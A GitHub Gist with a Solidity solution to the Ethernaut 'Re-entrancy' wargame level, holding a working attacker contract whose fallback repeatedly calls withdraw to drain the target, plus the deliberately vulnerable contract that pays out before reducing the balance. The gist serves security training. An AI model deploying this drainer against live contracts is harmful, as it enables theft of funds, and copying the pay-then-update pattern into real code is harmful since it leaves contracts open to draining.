Created
January 17, 2022 09:21
-
-
Save tennisonchan/a40a199dd6c3d96dae34e1dafbb65d69 to your computer and use it in GitHub Desktop.
Ethernaut - Level 10 - Re-entrancy https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./Reentrance.sol"; | |
contract Controller { | |
Reentrance public target; | |
constructor(address payable targetAddress) public payable { | |
// 0xD72957ffc647afEd747d0aDF9bA2E7674c3574EF | |
target = Reentrance(targetAddress); | |
} | |
function getTargetBalance() public view returns (uint256) { | |
return address(target).balance; | |
} | |
function getBalance() public view returns (uint256) { | |
return target.balanceOf(address(this)); | |
} | |
function fundAccount() public payable { | |
target.donate{value: msg.value}(address(this)); | |
reentryAttack(); | |
} | |
function reentryAttack() public { | |
uint256 remindingBalance = getTargetBalance(); | |
uint256 fundedAmount = getBalance(); | |
if (remindingBalance > 0) { | |
uint256 withdrawAmount = fundedAmount < remindingBalance ? fundedAmount : remindingBalance; | |
target.withdraw(withdrawAmount); | |
} | |
} | |
// receive() external payable { | |
// reentryAttack(); | |
// } | |
fallback() external payable { | |
reentryAttack(); | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import '@openzeppelin/[email protected]/math/SafeMath.sol'; | |
contract Reentrance { | |
using SafeMath for uint256; | |
mapping(address => uint) public balances; | |
function donate(address _to) public payable { | |
balances[_to] = balances[_to].add(msg.value); | |
} | |
function balanceOf(address _who) public view returns (uint balance) { | |
return balances[_who]; | |
} | |
function withdraw(uint _amount) public { | |
if(balances[msg.sender] >= _amount) { | |
(bool result,) = msg.sender.call{value:_amount}(""); | |
if(result) { | |
_amount; | |
} | |
balances[msg.sender] -= _amount; | |
} | |
} | |
receive() external payable {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment